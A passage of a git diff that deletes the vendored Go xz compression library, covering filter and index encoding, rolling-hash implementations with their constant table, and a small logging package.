MarshalBinary() (data []byte, err error) - reader(r io.Reader, c *ReaderConfig) (fr io.Reader, err error) - writeCloser(w io.WriteCloser, c *WriterConfig) (fw io.WriteCloser, err error) - // filter must be last filter - last() bool -} - -// readFilter reads a block filter from the block header. At this point -// in time only the LZMA2 filter is supported. -func readFilter(r io.Reader) (f filter, err error) { - br := lzma.ByteReader(r) - - // index - id, _, err := readUvarint(br) - if err != nil { - return nil, err - } - - var data []byte - switch id { - case lzmaFilterID: - data = make([]byte, lzmaFilterLen) - data[0] = lzmaFilterID - if _, err = io.ReadFull(r, data[1:]); err != nil { - return nil, err - } - f = new(lzmaFilter) - default: - if id >= minReservedID { - return nil, errors.New( - "xz: reserved filter id in block stream header") - } - return nil, errors.New("xz: invalid filter id") - } - if err = f.UnmarshalBinary(data); err != nil { - return nil, err - } - return f, err -} - -// readFilters reads count filters. At this point in time only the count -// 1 is supported. -func readFilters(r io.Reader, count int) (filters []filter, err error) { - if count != 1 { - return nil, errors.New("xz: unsupported filter count") - } - f, err := readFilter(r) - if err != nil { - return nil, err - } - return []filter{f}, err -} - -// writeFilters writes the filters. -func writeFilters(w io.Writer, filters []filter) (n int, err error) { - for _, f := range filters { - p, err := f.MarshalBinary() - if err != nil { - return n, err - } - k, err := w.Write(p) - n += k - if err != nil { - return n, err - } - } - return n, nil -} - -/*** Index ***/ - -// record describes a block in the xz file index. -type record struct { - unpaddedSize int64 - uncompressedSize int64 -} - -// readRecord reads an index record. -func readRecord(r io.ByteReader) (rec record, n int, err error) { - u, k, err := readUvarint(r) - n += k - if err != nil { - return rec, n, err - } - rec.unpaddedSize = int64(u) - if rec.unpaddedSize < 0 { - return rec, n, errors.New("xz: unpadded size negative") - } - - u, k, err = readUvarint(r) - n += k - if err != nil { - return rec, n, err - } - rec.uncompressedSize = int64(u) - if rec.uncompressedSize < 0 { - return rec, n, errors.New("xz: uncompressed size negative") - } - - return rec, n, nil -} - -// MarshalBinary converts an index record in its binary encoding. -func (rec *record) MarshalBinary() (data []byte, err error) { - // maximum length of a uvarint is 10 - p := make([]byte, 20) - n := putUvarint(p, uint64(rec.unpaddedSize)) - n += putUvarint(p[n:], uint64(rec.uncompressedSize)) - return p[:n], nil -} - -// writeIndex writes the index, a sequence of records. -func writeIndex(w io.Writer, index []record) (n int64, err error) { - crc := crc32.NewIEEE() - mw := io.MultiWriter(w, crc) - - // index indicator - k, err := mw.Write([]byte{0}) - n += int64(k) - if err != nil { - return n, err - } - - // number of records - p := make([]byte, 10) - k = putUvarint(p, uint64(len(index))) - k, err = mw.Write(p[:k]) - n += int64(k) - if err != nil { - return n, err - } - - // list of records - for _, rec := range index { - p, err := rec.MarshalBinary() - if err != nil { - return n, err - } - k, err = mw.Write(p) - n += int64(k) - if err != nil { - return n, err - } - } - - // index padding - k, err = mw.Write(make([]byte, padLen(int64(n)))) - n += int64(k) - if err != nil { - return n, err - } - - // crc32 checksum - putUint32LE(p, crc.Sum32()) - k, err = w.Write(p[:4]) - n += int64(k) - - return n, err -} - -// readIndexBody reads the index from the reader. It assumes that the -// index indicator has already been read. -func readIndexBody(r io.Reader) (records []record, n int64, err error) { - crc := crc32.NewIEEE() - // index indicator - crc.Write([]byte{0}) - - br := lzma.ByteReader(io.TeeReader(r, crc)) - - // number of records - u, k, err := readUvarint(br) - n += int64(k) - if err != nil { - return nil, n, err - } - recLen := int(u) - if recLen < 0 || uint64(recLen) != u { - return nil, n, errors.New("xz: record number overflow") - } - - // list of records - records = make([]record, recLen) - for i := range records { - records[i], k, err = readRecord(br) - n += int64(k) - if err != nil { - return nil, n, err - } - } - - p := make([]byte, padLen(int64(n+1)), 4) - k, err = io.ReadFull(br.(io.Reader), p) - n += int64(k) - if err != nil { - return nil, n, err - } - if !allZeros(p) { - return nil, n, errors.New("xz: non-zero byte in index padding") - } - - // crc32 - s := crc.Sum32() - p = p[:4] - k, err = io.ReadFull(br.(io.Reader), p) - n += int64(k) - if err != nil { - return records, n, err - } - if uint32LE(p) != s { - return nil, n, errors.New("xz: wrong checksum for index") - } - - return records, n, nil -} diff --git a/vendor/github.com/ulikunitz/xz/fox.xz b/vendor/github.com/ulikunitz/xz/fox.xz deleted file mode 100644 index 4b820bd5a1..0000000000 Binary files a/vendor/github.com/ulikunitz/xz/fox.xz and /dev/null differ diff --git a/vendor/github.com/ulikunitz/xz/go.mod b/vendor/github.com/ulikunitz/xz/go.mod deleted file mode 100644 index 9e5eea2c98..0000000000 --- a/vendor/github.com/ulikunitz/xz/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/ulikunitz/xz diff --git a/vendor/github.com/ulikunitz/xz/internal/hash/cyclic_poly.go b/vendor/github.com/ulikunitz/xz/internal/hash/cyclic_poly.go deleted file mode 100644 index a32887872e..0000000000 --- a/vendor/github.com/ulikunitz/xz/internal/hash/cyclic_poly.go +++ /dev/null @@ -1,181 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package hash - -// CyclicPoly provides a cyclic polynomial rolling hash. -type CyclicPoly struct { - h uint64 - p []uint64 - i int -} - -// ror rotates the unsigned 64-bit integer to right. The argument s must be -// less than 64. -func ror(x uint64, s uint) uint64 { - return (x >> s) | (x << (64 - s)) -} - -// NewCyclicPoly creates a new instance of the CyclicPoly structure. The -// argument n gives the number of bytes for which a hash will be executed. -// This number must be positive; the method panics if this isn't the case. -func NewCyclicPoly(n int) *CyclicPoly { - if n < 1 { - panic("argument n must be positive") - } - return &CyclicPoly{p: make([]uint64, 0, n)} -} - -// Len returns the length of the byte sequence for which a hash is generated. -func (r *CyclicPoly) Len() int { - return cap(r.p) -} - -// RollByte hashes the next byte and returns a hash value. The complete becomes -// available after at least Len() bytes have been hashed. -func (r *CyclicPoly) RollByte(x byte) uint64 { - y := hash[x] - if len(r.p) < cap(r.p) { - r.h = ror(r.h, 1) ^ y - r.p = append(r.p, y) - } else { - r.h ^= ror(r.p[r.i], uint(cap(r.p)-1)) - r.h = ror(r.h, 1) ^ y - r.p[r.i] = y - r.i = (r.i + 1) % cap(r.p) - } - return r.h -} - -// Stores the hash for the individual bytes. -var hash = [256]uint64{ - 0x2e4fc3f904065142, 0xc790984cfbc99527, - 0x879f95eb8c62f187, 0x3b61be86b5021ef2, - 0x65a896a04196f0a5, 0xc5b307b80470b59e, - 0xd3bff376a70df14b, 0xc332f04f0b3f1701, - 0x753b5f0e9abf3e0d, 0xb41538fdfe66ef53, - 0x1906a10c2c1c0208, 0xfb0c712a03421c0d, - 0x38be311a65c9552b, 0xfee7ee4ca6445c7e, - 0x71aadeded184f21e, 0xd73426fccda23b2d, - 0x29773fb5fb9600b5, 0xce410261cd32981a, - 0xfe2848b3c62dbc2d, 0x459eaaff6e43e11c, - 0xc13e35fc9c73a887, 0xf30ed5c201e76dbc, - 0xa5f10b3910482cea, 0x2945d59be02dfaad, - 0x06ee334ff70571b5, 0xbabf9d8070f44380, - 0xee3e2e9912ffd27c, 0x2a7118d1ea6b8ea7, - 0x26183cb9f7b1664c, 0xea71dac7da068f21, - 0xea92eca5bd1d0bb7, 0x415595862defcd75, - 0x248a386023c60648, 0x9cf021ab284b3c8a, - 0xfc9372df02870f6c, 0x2b92d693eeb3b3fc, - 0x73e799d139dc6975, 0x7b15ae312486363c, - 0xb70e5454a2239c80, 0x208e3fb31d3b2263, - 0x01f563cabb930f44, 0x2ac4533d2a3240d8, - 0x84231ed1064f6f7c, 0xa9f020977c2a6d19, - 0x213c227271c20122, 0x09fe8a9a0a03d07a, - 0x4236dc75bcaf910c, 0x460a8b2bead8f17e, - 0xd9b27be1aa07055f, 0xd202d5dc4b11c33e, - 0x70adb010543bea12, 0xcdae938f7ea6f579, - 0x3f3d870208672f4d, 0x8e6ccbce9d349536, - 0xe4c0871a389095ae, 0xf5f2a49152bca080, - 0x9a43f9b97269934e, 0xc17b3753cb6f475c, - 0xd56d941e8e206bd4, 0xac0a4f3e525eda00, - 0xa06d5a011912a550, 0x5537ed19537ad1df, - 0xa32fe713d611449d, 0x2a1d05b47c3b579f, - 0x991d02dbd30a2a52, 0x39e91e7e28f93eb0, - 0x40d06adb3e92c9ac, 0x9b9d3afde1c77c97, - 0x9a3f3f41c02c616f, 0x22ecd4ba00f60c44, - 0x0b63d5d801708420, 0x8f227ca8f37ffaec, - 0x0256278670887c24, 0x107e14877dbf540b, - 0x32c19f2786ac1c05, 0x1df5b12bb4bc9c61, - 0xc0cac129d0d4c4e2, 0x9fdb52ee9800b001, - 0x31f601d5d31c48c4, 0x72ff3c0928bcaec7, - 0xd99264421147eb03, 0x535a2d6d38aefcfe, - 0x6ba8b4454a916237, 0xfa39366eaae4719c, - 0x10f00fd7bbb24b6f, 0x5bd23185c76c84d4, - 0xb22c3d7e1b00d33f, 0x3efc20aa6bc830a8, - 0xd61c2503fe639144, 0x30ce625441eb92d3, - 0xe5d34cf359e93100, 0xa8e5aa13f2b9f7a5, - 0x5c2b8d851ca254a6, 0x68fb6c5e8b0d5fdf, - 0xc7ea4872c96b83ae, 0x6dd5d376f4392382, - 0x1be88681aaa9792f, 0xfef465ee1b6c10d9, - 0x1f98b65ed43fcb2e, 0x4d1ca11eb6e9a9c9, - 0x7808e902b3857d0b, 0x171c9c4ea4607972, - 0x58d66274850146df, 0x42b311c10d3981d1, - 0x647fa8c621c41a4c, 0xf472771c66ddfedc, - 0x338d27e3f847b46b, 0x6402ce3da97545ce, - 0x5162db616fc38638, 0x9c83be97bc22a50e, - 0x2d3d7478a78d5e72, 0xe621a9b938fd5397, - 0x9454614eb0f81c45, 0x395fb6e742ed39b6, - 0x77dd9179d06037bf, 0xc478d0fee4d2656d, - 0x35d9d6cb772007af, 0x83a56e92c883f0f6, - 0x27937453250c00a1, 0x27bd6ebc3a46a97d, - 0x9f543bf784342d51, 0xd158f38c48b0ed52, - 0x8dd8537c045f66b4, 0x846a57230226f6d5, - 0x6b13939e0c4e7cdf, 0xfca25425d8176758, - 0x92e5fc6cd52788e6, 0x9992e13d7a739170, - 0x518246f7a199e8ea, 0xf104c2a71b9979c7, - 0x86b3ffaabea4768f, 0x6388061cf3e351ad, - 0x09d9b5295de5bbb5, 0x38bf1638c2599e92, - 0x1d759846499e148d, 0x4c0ff015e5f96ef4, - 0xa41a94cfa270f565, 0x42d76f9cb2326c0b, - 0x0cf385dd3c9c23ba, 0x0508a6c7508d6e7a, - 0x337523aabbe6cf8d, 0x646bb14001d42b12, - 0xc178729d138adc74, 0xf900ef4491f24086, - 0xee1a90d334bb5ac4, 0x9755c92247301a50, - 0xb999bf7c4ff1b610, 0x6aeeb2f3b21e8fc9, - 0x0fa8084cf91ac6ff, 0x10d226cf136e6189, - 0xd302057a07d4fb21, 0x5f03800e20a0fcc3, - 0x80118d4ae46bd210, 0x58ab61a522843733, - 0x51edd575c5432a4b, 0x94ee6ff67f9197f7, - 0x765669e0e5e8157b, 0xa5347830737132f0, - 0x3ba485a69f01510c, 0x0b247d7b957a01c3, - 0x1b3d63449fd807dc, 0x0fdc4721c30ad743, - 0x8b535ed3829b2b14, 0xee41d0cad65d232c, - 0xe6a99ed97a6a982f, 0x65ac6194c202003d, - 0x692accf3a70573eb, 0xcc3c02c3e200d5af, - 0x0d419e8b325914a3, 0x320f160f42c25e40, - 0x00710d647a51fe7a, 0x3c947692330aed60, - 0x9288aa280d355a7a, 0xa1806a9b791d1696, - 0x5d60e38496763da1, 0x6c69e22e613fd0f4, - 0x977fc2a5aadffb17, 0xfb7bd063fc5a94ba, - 0x460c17992cbaece1, 0xf7822c5444d3297f, - 0x344a9790c69b74aa, 0xb80a42e6cae09dce, - 0x1b1361eaf2b1e757, 0xd84c1e758e236f01, - 0x88e0b7be347627cc, 0x45246009b7a99490, - 0x8011c6dd3fe50472, 0xc341d682bffb99d7, - 0x2511be93808e2d15, 0xd5bc13d7fd739840, - 0x2a3cd030679ae1ec, 0x8ad9898a4b9ee157, - 0x3245fef0a8eaf521, 0x3d6d8dbbb427d2b0, - 0x1ed146d8968b3981, 0x0c6a28bf7d45f3fc, - 0x4a1fd3dbcee3c561, 0x4210ff6a476bf67e, - 0xa559cce0d9199aac, 0xde39d47ef3723380, - 0xe5b69d848ce42e35, 0xefa24296f8e79f52, - 0x70190b59db9a5afc, 0x26f166cdb211e7bf, - 0x4deaf2df3c6b8ef5, 0xf171dbdd670f1017, - 0xb9059b05e9420d90, 0x2f0da855c9388754, - 0x611d5e9ab77949cc, 0x2912038ac01163f4, - 0x0231df50402b2fba, 0x45660fc4f3245f58, - 0xb91cc97c7c8dac50, 0xb72d2aafe4953427, - 0xfa6463f87e813d6b, 0x4515f7ee95d5c6a2, - 0x1310e1c1a48d21c3, 0xad48a7810cdd8544, - 0x4d5bdfefd5c9e631, 0xa43ed43f1fdcb7de, - 0xe70cfc8fe1ee9626, 0xef4711b0d8dda442, - 0xb80dd9bd4dab6c93, 0xa23be08d31ba4d93, - 0x9b37db9d0335a39c, 0x494b6f870f5cfebc, - 0x6d1b3c1149dda943, 0x372c943a518c1093, - 0xad27af45e77c09c4, 0x3b6f92b646044604, - 0xac2917909f5fcf4f, 0x2069a60e977e5557, - 0x353a469e71014de5, 0x24be356281f55c15, - 0x2b6d710ba8e9adea, 0x404ad1751c749c29, - 0xed7311bf23d7f185, 0xba4f6976b4acc43e, - 0x32d7198d2bc39000, 0xee667019014d6e01, - 0x494ef3e128d14c83, 0x1f95a152baecd6be, - 0x201648dff1f483a5, 0x68c28550c8384af6, - 0x5fc834a6824a7f48, 0x7cd06cb7365eaf28, - 0xd82bbd95e9b30909, 0x234f0d1694c53f6d, - 0xd2fb7f4a96d83f4a, 0xff0d5da83acac05e, - 0xf8f6b97f5585080a, 0x74236084be57b95b, - 0xa25e40c03bbc36ad, 0x6b6e5c14ce88465b, - 0x4378ffe93e1528c5, 0x94ca92a17118e2d2, -} diff --git a/vendor/github.com/ulikunitz/xz/internal/hash/doc.go b/vendor/github.com/ulikunitz/xz/internal/hash/doc.go deleted file mode 100644 index f99ec22068..0000000000 --- a/vendor/github.com/ulikunitz/xz/internal/hash/doc.go +++ /dev/null @@ -1,14 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package hash provides rolling hashes. - -Rolling hashes have to be used for maintaining the positions of n-byte -sequences in the dictionary buffer. - -The package provides currently the Rabin-Karp rolling hash and a Cyclic -Polynomial hash. Both support the Hashes method to be used with an interface. -*/ -package hash diff --git a/vendor/github.com/ulikunitz/xz/internal/hash/rabin_karp.go b/vendor/github.com/ulikunitz/xz/internal/hash/rabin_karp.go deleted file mode 100644 index 58635b113a..0000000000 --- a/vendor/github.com/ulikunitz/xz/internal/hash/rabin_karp.go +++ /dev/null @@ -1,66 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package hash - -// A is the default constant for Robin-Karp rolling hash. This is a random -// prime. -const A = 0x97b548add41d5da1 - -// RabinKarp supports the computation of a rolling hash. -type RabinKarp struct { - A uint64 - // a^n - aOldest uint64 - h uint64 - p []byte - i int -} - -// NewRabinKarp creates a new RabinKarp value. The argument n defines the -// length of the byte sequence to be hashed. The default constant will will be -// used. -func NewRabinKarp(n int) *RabinKarp { - return NewRabinKarpConst(n, A) -} - -// NewRabinKarpConst creates a new RabinKarp value. The argument n defines the -// length of the byte sequence to be hashed. The argument a provides the -// constant used to compute the hash. -func NewRabinKarpConst(n int, a uint64) *RabinKarp { - if n <= 0 { - panic("number of bytes n must be positive") - } - aOldest := uint64(1) - // There are faster methods. For the small n required by the LZMA - // compressor O(n) is sufficient. - for i := 0; i < n; i++ { - aOldest *= a - } - return &RabinKarp{ - A: a, aOldest: aOldest, - p: make([]byte, 0, n), - } -} - -// Len returns the length of the byte sequence. -func (r *RabinKarp) Len() int { - return cap(r.p) -} - -// RollByte computes the hash after x has been added. -func (r *RabinKarp) RollByte(x byte) uint64 { - if len(r.p) < cap(r.p) { - r.h += uint64(x) - r.h *= r.A - r.p = append(r.p, x) - } else { - r.h -= uint64(r.p[r.i]) * r.aOldest - r.h += uint64(x) - r.h *= r.A - r.p[r.i] = x - r.i = (r.i + 1) % cap(r.p) - } - return r.h -} diff --git a/vendor/github.com/ulikunitz/xz/internal/hash/roller.go b/vendor/github.com/ulikunitz/xz/internal/hash/roller.go deleted file mode 100644 index ab6a19ca4c..0000000000 --- a/vendor/github.com/ulikunitz/xz/internal/hash/roller.go +++ /dev/null @@ -1,29 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package hash - -// Roller provides an interface for rolling hashes. The hash value will become -// valid after hash has been called Len times. -type Roller interface { - Len() int - RollByte(x byte) uint64 -} - -// Hashes computes all hash values for the array p. Note that the state of the -// roller is changed. -func Hashes(r Roller, p []byte) []uint64 { - n := r.Len() - if len(p) < n { - return nil - } - h := make([]uint64, len(p)-n+1) - for i := 0; i < n-1; i++ { - r.RollByte(p[i]) - } - for i := range h { - h[i] = r.RollByte(p[i+n-1]) - } - return h -} diff --git a/vendor/github.com/ulikunitz/xz/internal/xlog/xlog.go b/vendor/github.com/ulikunitz/xz/internal/xlog/xlog.go deleted file mode 100644 index 0ba45e8ff3..0000000000 --- a/vendor/github.com/ulikunitz/xz/internal/xlog/xlog.go +++ /dev/null @@ -1,457 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package xlog provides a simple logging package that allows to disable -// certain message categories. It defines a type, Logger, with multiple -// methods for formatting output. The package has also a predefined -// 'standard' Logger accessible through helper function Print[f|ln], -// Fatal[f|ln], Panic[f|ln], Warn[f|ln], Print[f|ln] and Debug[f|ln] -// that are easier to use then creating a Logger manually. That logger -// writes to standard error and prints the date and time of each logged -// message, which can be configured using the function SetFlags. -// -// The Fatal functions call os.Exit(1) after the message is output -// unless not suppressed by the flags. The Panic functions call panic -// after the writing the log message unless suppressed. -package xlog - -import ( - "fmt" - "io" - "os" - "runtime" - "sync" - "time" -) - -// The flags define what information is prefixed to each log entry -// generated by the Logger. The Lno* versions allow the suppression of -// specific output. The bits are or'ed together to control what will be -// printed. There is no control over the order of the items printed and -// the format. The full format is: -// -// 2009-01-23 01:23:23.123123 /a/b/c/d.go:23: message -// -const ( - Ldate = 1 << iota // the date: 2009-01-23 - Ltime // the time: 01:23:23 - Lmicroseconds // microsecond resolution: 01:23:23.123123 - Llongfile // full file name and line number: /a/b/c/d.go:23 - Lshortfile // final file name element and line number: d.go:23 - Lnopanic // suppresses output from Panic[f|ln] but not the panic call - Lnofatal // suppresses output from Fatal[f|ln] but not the exit - Lnowarn // suppresses output from Warn[f|ln] - Lnoprint // suppresses output from Print[f|ln] - Lnodebug // suppresses output from Debug[f|ln] - // initial values for the standard logger - Lstdflags = Ldate | Ltime | Lnodebug -) - -// A Logger represents an active logging object that generates lines of -// output to an io.Writer. Each logging operation if not suppressed -// makes a single call to the Writer's Write method. A Logger can be -// used simultaneously from multiple goroutines; it guarantees to -// serialize access to the Writer. -type Logger struct { - mu sync.Mutex // ensures atomic writes; and protects the following - // fields - prefix string // prefix to write at beginning of each line - flag int // properties - out io.Writer // destination for output - buf []byte // for accumulating text to write -} - -// New creates a new Logger. The out argument sets the destination to -// which the log output will be written. The prefix appears at the -// beginning of each log line. The flag argument defines the logging -// properties. -func New(out io.Writer, prefix string, flag int) *Logger { - return &Logger{out: out, prefix: prefix, flag: flag} -} - -// std is the standard logger used by the package scope functions. -var std = New(os.Stderr, "", Lstdflags) - -// itoa converts the integer to ASCII. A negative widths will avoid -// zero-padding. The function supports only non-negative integers. -func itoa(buf *[]byte, i int, wid int) { - var u = uint(i) - if u == 0 && wid <= 1 { - *buf = append(*buf, '0') - return - } - var b [32]byte - bp := len(b) - for ; u > 0 || wid > 0; u /= 10 { - bp-- - wid-- - b[bp] = byte(u%10) + '0' - } - *buf = append(*buf, b[bp:]...) -} - -// formatHeader puts the header into the buf field of the buffer. -func (l *Logger) formatHeader(t time.Time, file string, line int) { - l.buf = append(l.buf, l.prefix...) - if l.flag&(Ldate|Ltime|Lmicroseconds) != 0 { - if l.flag&Ldate != 0 { - year, month, day := t.Date() - itoa(&l.buf, year, 4) - l.buf = append(l.buf, '-') - itoa(&l.buf, int(month), 2) - l.buf = append(l.buf, '-') - itoa(&l.buf, day, 2) - l.buf = append(l.buf, ' ') - } - if l.flag&(Ltime|Lmicroseconds) != 0 { - hour, min, sec := t.Clock() - itoa(&l.buf, hour, 2) - l.buf = append(l.buf, ':') - itoa(&l.buf, min, 2) - l.buf = append(l.buf, ':') - itoa(&l.buf, sec, 2) - if l.flag&Lmicroseconds != 0 { - l.buf = append(l.buf, '.') - itoa(&l.buf, t.Nanosecond()/1e3, 6) - } - l.buf = append(l.buf, ' ') - } - } - if l.flag&(Lshortfile|Llongfile) != 0 { - if l.flag&Lshortfile != 0 { - short := file - for i := len(file) - 1; i > 0; i-- { - if file[i] == '/' { - short = file[i+1:] - break - } - } - file = short - } - l.buf = append(l.buf, file...) - l.buf = append(l.buf, ':') - itoa(&l.buf, line, -1) - l.buf = append(l.buf, ": "...) - } -} - -func (l *Logger) output(calldepth int, now time.Time, s string) error { - var file string - var line int - if l.flag&(Lshortfile|Llongfile) != 0 { - l.mu.Unlock() - var ok bool - _, file, line, ok = runtime.Caller(calldepth) - if !ok { - file = "???" - line = 0 - } - l.mu.Lock() - } - l.buf = l.buf[:0] - l.formatHeader(now, file, line) - l.buf = append(l.buf, s...) - if len(s) == 0 || s[len(s)-1] != '\n' { - l.buf = append(l.buf, '\n') - } - _, err := l.out.Write(l.buf) - return err -} - -// Output writes the string s with the header controlled by the flags to -// the l.out writer. A newline will be appended if s doesn't end in a -// newline. Calldepth is used to recover the PC, although all current -// calls of Output use the call depth 2. Access to the function is serialized. -func (l *Logger) Output(calldepth, noflag int, v ...interface{}) error { - now := time.Now() - l.mu.Lock() - defer l.mu.Unlock() - if l.flag&noflag != 0 { - return nil - } - s := fmt.Sprint(v...) - return l.output(calldepth+1, now, s) -} - -// Outputf works like output but formats the output like Printf. -func (l *Logger) Outputf(calldepth int, noflag int, format string, v ...interface{}) error { - now := time.Now() - l.mu.Lock() - defer l.mu.Unlock() - if l.flag&noflag != 0 { - return nil - } - s := fmt.Sprintf(format, v...) - return l.output(calldepth+1, now, s) -} - -// Outputln works like output but formats the output like Println. -func (l *Logger) Outputln(calldepth int, noflag int, v ...interface{}) error { - now := time.Now() - l.mu.Lock() - defer l.mu.Unlock() - if l.flag&noflag != 0 { - return nil - } - s := fmt.Sprintln(v...) - return l.output(calldepth+1, now, s) -} - -// Panic prints the message like Print and calls panic. The printing -// might be suppressed by the flag Lnopanic. -func (l *Logger) Panic(v ...interface{}) { - l.Output(2, Lnopanic, v...) - s := fmt.Sprint(v...) - panic(s) -} - -// Panic prints the message like Print and calls panic. The printing -// might be suppressed by the flag Lnopanic. -func Panic(v ...interface{}) { - std.Output(2, Lnopanic, v...) - s := fmt.Sprint(v...) - panic(s) -} - -// Panicf prints the message like Printf and calls panic. The printing -// might be suppressed by the flag Lnopanic. -func (l *Logger) Panicf(format string, v ...interface{}) { - l.Outputf(2, Lnopanic, format, v...) - s := fmt.Sprintf(format, v...) - panic(s) -} - -// Panicf prints the message like Printf and calls panic. The printing -// might be suppressed by the flag Lnopanic. -func Panicf(format string, v ...interface{}) { - std.Outputf(2, Lnopanic, format, v...) - s := fmt.Sprintf(format, v...) - panic(s) -} - -// Panicln prints the message like Println and calls panic. The printing -// might be suppressed by the flag Lnopanic. -func (l *Logger) Panicln(v ...interface{}) { - l.Outputln(2, Lnopanic, v...) - s := fmt.Sprintln(v...) - panic(s) -} - -// Panicln prints the message like Println and calls panic. The printing -// might be suppressed by the flag Lnopanic. -func Panicln(v ...interface{}) { - std.Outputln(2, Lnopanic, v...) - s := fmt.Sprintln(v...) - panic(s) -} - -// Fatal prints the message like Print and calls os.Exit(1). The -// printing might be suppressed by the flag Lnofatal. -func (l *Logger) Fatal(v ...interface{}) { - l.Output(2, Lnofatal, v...) - os.Exit(1) -} - -// Fatal prints the message like Print and calls os.Exit(1). The -// printing might be suppressed by the flag Lnofatal. -func Fatal(v ...interface{}) { - std.Output(2, Lnofatal, v...) - os.Exit(1) -} - -// Fatalf prints the message like Printf and calls os.Exit(1). The -// printing might be suppressed by the flag Lnofatal. -func (l *Logger) Fatalf(format string, v ...interface{}) { - l.Outputf(2, Lnofatal, format, v...) - os.Exit(1) -} - -// Fatalf prints the message like Printf and calls os.Exit(1). The -// printing might be suppressed by the flag Lnofatal. -func Fatalf(format string, v ...interface{}) { - std.Outputf(2, Lnofatal, format, v...) - os.Exit(1) -} - -// Fatalln prints the message like Println and calls os.Exit(1). The -// printing might be suppressed by the flag Lnofatal. -func (l *Logger) Fatalln(format string, v ...interface{}) { - l.Outputln(2, Lnofatal, v...) - os.Exit(1) -} - -// Fatalln prints the message like Println and calls os.Exit(1). The -// printing might be suppressed by the flag Lnofatal. -func Fatalln(format string, v ...interface{}) { - std.Outputln(2, Lnofatal, v...) - os.Exit(1) -} - -// Warn prints the message like Print. The printing might be suppressed -// by the flag Lnowarn. -func (l *Logger) Warn(v ...interface{}) { - l.Output(2, Lnowarn, v...) -} - -// Warn prints the message like Print. The printing might be suppressed -// by the flag Lnowarn. -func Warn(v ...interface{}) { - std.Output(2, Lnowarn, v...) -} - -// Warnf prints the message like Printf. The printing might be suppressed -// by the flag Lnowarn. -func (l *Logger) Warnf(format string, v ...interface{}) { - l.Outputf(2, Lnowarn, format, v...) -} - -// Warnf prints the message like Printf. The printing might be suppressed -// by the flag Lnowarn. -func Warnf(format string, v ...interface{}) { - std.Outputf(2, Lnowarn, format, v...) -} - -// Warnln prints the message like Println. The printing might be suppressed -// by the flag Lnowarn. -func (l *Logger) Warnln(v ...interface{}) { - l.Outputln(2, Lnowarn, v...) -} - -// Warnln prints the message like Println. The printing might be suppressed -// by the flag Lnowarn. -func Warnln(v ...interface{}) { - std.Outputln(2, Lnowarn, v...) -} - -// Print prints the message like fmt.Print. The printing might be suppressed -// by the flag Lnoprint. -func (l *Logger) Print(v ...interface{}) { - l.Output(2, Lnoprint, v...) -} - -// Print prints the message like fmt.Print. The printing might be suppressed -// by the flag Lnoprint. -func Print(v ...interface{}) { - std.Output(2, Lnoprint, v...) -} - -// Printf prints the message like fmt.Printf. The printing might be suppressed -// by the flag Lnoprint. -func (l *Logger) Printf(format string, v ...interface{}) { - l.Outputf(2, Lnoprint, format, v...) -} - -// Printf prints the message like fmt.Printf. The printing might be suppressed -// by the flag Lnoprint. -func Printf(format string, v ...interface{}) { - std.Outputf(2, Lnoprint, format, v...) -} - -// Println prints the message like fmt.Println. The printing might be -// suppressed by the flag Lnoprint. -func (l *Logger) Println(v ...interface{}) { - l.Outputln(2, Lnoprint, v...) -} - -// Println prints the message like fmt.Println. The printing might be -// suppressed by the flag Lnoprint. -func Println(v ...interface{}) { - std.Outputln(2, Lnoprint, v...) -} - -// Debug prints the message like Print. The printing might be suppressed -// by the flag Lnodebug. -func (l *Logger) Debug(v ...interface{}) { - l.Output(2, Lnodebug, v...) -} - -// Debug prints the message like Print. The printing might be suppressed -// by the flag Lnodebug. -func Debug(v ...interface{}) { - std.Output(2, Lnodebug, v...) -} - -// Debugf prints the message like Printf. The printing might be suppressed -// by the flag Lnodebug. -func (l *Logger) Debugf(format string, v ...interface{}) { - l.Outputf(2, Lnodebug, format, v...) -} - -// Debugf prints the message like Printf. The printing might be suppressed -// by the flag Lnodebug. -func Debugf(format string, v ...interface{}) { - std.Outputf(2, Lnodebug, format, v...) -} - -// Debugln prints the message like Println. The printing might be suppressed -// by the flag Lnodebug. -func (l *Logger) Debugln(v ...interface{}) { - l.Outputln(2, Lnodebug, v...) -} - -// Debugln prints the message like Println. The printing might be suppressed -// by the flag Lnodebug. -func Debugln(v ...interface{}) { - std.Outputln(2, Lnodebug, v...) -} - -// Flags returns the current flags used by the logger. -func (l *Logger) Flags() int { - l.mu.Lock() - defer l.mu.Unlock() - return l.flag -} - -// Flags returns the current flags used by the standard logger. -func Flags() int { - return std.Flags() -} - -// SetFlags sets the flags of the logger. -func (l *Logger) SetFlags(flag int) { - l.mu.Lock() - defer l.mu.Unlock() - l.flag = flag -} - -// SetFlags sets the flags for the standard logger. -func SetFlags(flag int) { - std.SetFlags(flag) -} - -// Prefix returns the prefix used by the logger. -func (l *Logger) Prefix() string { - l.mu.Lock() - defer l.mu.Unlock() - return l.prefix -} - -// Prefix returns the prefix used by the standard logger of the package. -func Prefix() string { - return std.Prefix() -} - -// SetPrefix sets the prefix for the logger. -func (l *Logger) SetPrefix(prefix string) { - l.mu.Lock() - defer l.mu.Unlock() - l.prefix = prefix -} - -// SetPrefix sets the prefix of the standard logger of the package. -func SetPrefix(prefix string) { - std.SetPrefix(prefix) -} - -// SetOutput sets the output of the logger. -func (l *Logger) SetOutput(w io.Writer) { - l.mu.Lock() - defer l.mu.Unlock() - l.out = w -} - -// SetOutput sets the output for the standard logger of the package. -func SetOutput(w io.Writer) { - std.SetOutput(w) -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/bintree.go b/vendor/github.com/ulikunitz/xz/lzma/bintree.go deleted file mode 100644 index a781bd1953..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/bintree.go +++ /dev/null @@ -1,523 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can 